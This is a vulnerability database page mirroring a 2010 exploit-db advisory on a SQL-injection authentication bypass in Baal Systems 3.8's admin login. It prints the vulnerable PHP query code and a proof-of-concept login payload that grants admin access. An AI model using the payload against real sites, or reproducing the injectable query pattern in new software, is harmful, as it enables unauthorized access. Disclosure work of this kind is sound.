Lucene search
+L

Baal Systems 3.8 - Authentication Bypass

🗓️ 07 Feb 2010 00:00:00Reported by cr4wl3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Baal Systems 3.8 Authentication Bypass SQL Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-0611
7 Feb 201000:00
circl
cve
CVE
CVE-2010-0611
11 Feb 201017:00
cve
cvelist
Cvelist
CVE-2010-0611
11 Feb 201017:00
cvelist
euvd
EUVD
EUVD-2010-0642
7 Oct 202500:30
euvd
nvd
NVD
CVE-2010-0611
11 Feb 201017:30
nvd
prion
Prion
Sql injection
11 Feb 201017:30
prion
[+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>

[+] Vuln Code :

[adminlogin.php]

<?php
include("common.php");
if (!empty($_POST['password'])) {
	$username = $_POST['username'];
    $password = $_POST['password'];

    $query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
    $result1 = db_query($query);
    $rows = db_num_rows($result1);
    $row = db_fetch_array($result1);
    if ($rows != 0) {
        if (session_is_registered("whossession")) {
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        } else {
            session_register("whossession");
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        }
    } else {
        header("location:adminlogin.php?error=yes");
    }
} else {

    ?>

[+] PoC :

[BaalSystems_path]/adminlogin.php


username: ' or' 1=1
Password: ' or' 1=1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Feb 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.00975
33